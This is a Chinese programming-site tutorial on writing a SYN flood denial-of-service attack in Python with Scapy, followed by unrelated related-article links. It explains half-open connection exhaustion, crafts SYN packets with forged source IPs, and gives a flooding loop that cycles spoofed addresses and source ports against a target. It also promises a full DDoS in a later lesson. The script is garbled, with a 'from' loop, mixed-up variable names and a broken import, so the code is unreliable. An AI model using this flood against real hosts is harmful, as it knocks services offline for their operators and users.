Python項目 基于Scapy實現(xiàn)SYN泛洪攻擊的方法
python3版本的Scapy--Scapy3k來實現(xiàn)一個簡單的DDos。
首先實現(xiàn)SYN泛洪攻擊(SYN Flood,是一直常用的DOS方式之一,通過發(fā)送大量偽造的TCP連接請求,使被攻擊主機資源耗盡的攻擊方式)。TCP三次握手的過程在這里就不再贅述,SYN攻擊則是客戶端向服務(wù)器發(fā)送SYN報文之后就不再響應(yīng)服務(wù)器回應(yīng)的報文,由于服務(wù)器在處理TCP請求時,會在協(xié)議棧留一塊緩沖區(qū)來存儲握手的過程,如果超過一定的時間沒有接收到客戶端的報文,那么本次連接在協(xié)議棧中存儲的數(shù)據(jù)就會被丟棄。攻擊者如果利用這段時間發(fā)送了大量的連接請求,全部掛起在半連接狀態(tài),這樣將不斷消耗服務(wù)器資源,直到拒接服務(wù)。
Scapy是一個強大的交互式數(shù)據(jù)包處理程序,可以用來發(fā)送、嗅探、解析和偽造網(wǎng)絡(luò)數(shù)據(jù)包。首先需要安裝Scapy3k:
sudo pip3 install scapy-python3
現(xiàn)在學(xué)習(xí)一下scapy的使用方法:
sudo scapy(scapy發(fā)送數(shù)據(jù)包需要root權(quán)限)
(警告信息是因為有一些依賴包沒有安裝,但是我們本次實驗不需要使用我就不裝了)
現(xiàn)在我們使用Scapy構(gòu)造一個簡單的數(shù)據(jù)包看一下:
pkt = IP(dst = "192.168.0.10")
接下來我們就構(gòu)造一個SYN包:
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
(我們構(gòu)造了一個IP包和TCP包并將它們組合到一塊,這樣就有了一個完整的TCP數(shù)據(jù)包,否則是無法發(fā)送出去的,IP包中我)們指定了源IP地址src和目的IP地址dst,其中src是我們偽造的地址,flags的值設(shè)定為S說明要發(fā)送的是SYN數(shù)據(jù)包)
代碼實現(xiàn):
具體代碼如下:
import random import scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] from sPort in range(1-24,65535): index = random.randrange(4) ipLayer = IP(stc = stcList[index].dst = tgt) tcoLayer = TCP(sport = sPort,dport = dPort,flags = "S") packet = ipLayer/tcpLayer send(packet)
定義了srcList用于存放偽造的IP地址,之后定義了一個循環(huán),作用是每次發(fā)送數(shù)據(jù)包源端口都改變,可以看到在構(gòu)造TCP數(shù)據(jù)包的時候我們增加了一個參數(shù)sport,循環(huán)中改變的端口號就是給了sport這個參數(shù)。我們還調(diào)用random.randrange()函數(shù)來隨機從srcList中獲取一個偽造的IP地址。本次實驗就算完成,下次實驗實現(xiàn)一個完整的Ddos過程。
以上這篇Python項目 基于Scapy實現(xiàn)SYN泛洪攻擊的方法就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
PyCharm導(dǎo)入python項目并配置虛擬環(huán)境的教程詳解
這篇文章主要介紹了Pycharm導(dǎo)入python項目并配置虛擬環(huán)境的教程,本文圖文并茂給大家介紹的非常詳細(xì),具有一定的參考借鑒價值,需要的朋友可以參考下2019-10-10python 計算概率密度、累計分布、逆函數(shù)的例子
這篇文章主要介紹了python 計算概率密度、累計分布、逆函數(shù)的例子,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-02-02Keras實現(xiàn)支持masking的Flatten層代碼
這篇文章主要介紹了Keras實現(xiàn)支持masking的Flatten層代碼,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2020-06-06python多進(jìn)程執(zhí)行方法apply_async使用說明
這篇文章主要介紹了python多進(jìn)程執(zhí)行方法apply_async使用說明,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-03-03Python中基本的日期時間處理的學(xué)習(xí)教程
這篇文章主要介紹了Python中基本的日期時間處理的學(xué)習(xí)教程,日期時間相關(guān)模塊的使用是Python入門學(xué)習(xí)中的基礎(chǔ)知識,需要的朋友可以參考下2015-10-10python實現(xiàn)xml轉(zhuǎn)json文件的示例代碼
這篇文章主要介紹了python實現(xiàn)xml轉(zhuǎn)json文件的示例代碼,幫助大家更好的理解和使用python,感興趣的朋友可以了解下2020-12-12